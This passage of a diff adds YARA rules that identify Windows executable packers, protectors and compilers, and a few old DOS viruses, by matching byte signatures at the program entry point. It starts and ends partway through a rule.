+	$a1 = { EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule SoftDefenderv11xRandyLi
+	{
+	strings:
+			$a0 = { 74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv010v012BetaDwing
+	{
+	strings:
+			$a0 = { BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeBorlandDelphi6070FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 8B D8 33 C0 A3 00 00 00 00 6A 00 E8 00 00 00 FF A3 00 00 00 00 A1 00 00 00 00 A3 00 00 00 00 33 C0 A3 00 00 00 00 33 C0 A3 00 00 00 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule STProtectorV15SilentSoftware
+	{
+	strings:
+			$a0 = { 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+		rule ASPackv105bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor226minimumprotection
+	{
+	strings:
+			$a0 = { 50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEProtector093CRYPToCRACk
+	{
+	strings:
+			$a0 = { 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC300400450EXEX86CRTLIB
+	{
+	strings:
+			$a0 = { 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackv118BasicaPLibAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule vfpexeNcV500WangJianGuo
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoiner153Stubengine17GlOFF
+	{
+	strings:
+			$a0 = { E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TheHypersprotectorTheHyper
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ANDpakk2006DmitryAndreev
+	{
+	strings:
+			$a0 = { 60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Thinstall2628Jtit
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 }
+	$a1 = { E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+
+	rule UPXModifierv01x
+	{
+	strings:
+			$a0 = { 50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1333ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 }
+	$a1 = { EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PureBasic4xNeilHodgson
+	{
+	strings:
+			$a0 = { 68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxAugust16thIronMaiden
+	{
+	strings:
+			$a0 = { BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtector10Xvcasm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEPACK099
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Freshbindv20gFresh
+	{
+	strings:
+			$a0 = { 64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXSCRAMBLER306OnToL
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompact2xxBitSumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PESpinv01Cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+	$a1 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule VxEddie2100
+	{
+	strings:
+			$a0 = { E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NETexecutableMicrosoft
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25 }
+
+	condition:
+			$a0
+	}
+	
+/*	
+	rule tElockv099
+	{
+	strings:
+			$a0 = { E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule tElockv098
+	{
+	strings:
+			$a0 = { E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AZProtect0001byAlexZakaAZCRC
+	{
+	strings:
+			$a0 = { EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 }
+	$a1 = { FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule UPX290LZMAMarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90 }
+	$a1 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule MEW510Northfox
+	{
+	strings:
+			$a0 = { BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule tElockv090
+	{
+	strings:
+			$a0 = { E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1258ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SVKProtectorv132EngPavolCerven
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeSplitter12BillPrisonerTPOC
+	{
+	strings:
+			$a0 = { E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule COPv10c1988
+	{
+	strings:
+			$a0 = { BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv25RetailSlimLoaderBitsumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Morphinev27Holy_FatherRatter29A
+	{
+	strings:
+			$a0 = { 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+	$a1 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule diPackerV1XdiProtectorSoftware
+	{
+	strings:
+			$a0 = { 0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01REALBasicAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PPCPROTECT11XAlexeyGorchakov
+	{
+	strings:
+			$a0 = { FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nPackV111502006BetaNEOxuinC
+	{
+	strings:
+			$a0 = { 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EnigmaProtector11X13XSukhovVladimirSergeNMarkin
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule HardlockdongleAlladin
+	{
+	strings:
+			$a0 = { 5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule Armadillov190c
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack_PatchDwing
+	{
+	strings:
+			$a0 = { 81 3A 00 00 00 02 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeJoinerV10Yodaf2f
+	{
+	strings:
+			$a0 = { 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCShrink071beta
+	{
+	strings:
+			$a0 = { 01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMASM32TASM32
+	{
+	strings:
+			$a0 = { 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B }
+	$a1 = { 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB }
+
+	condition:
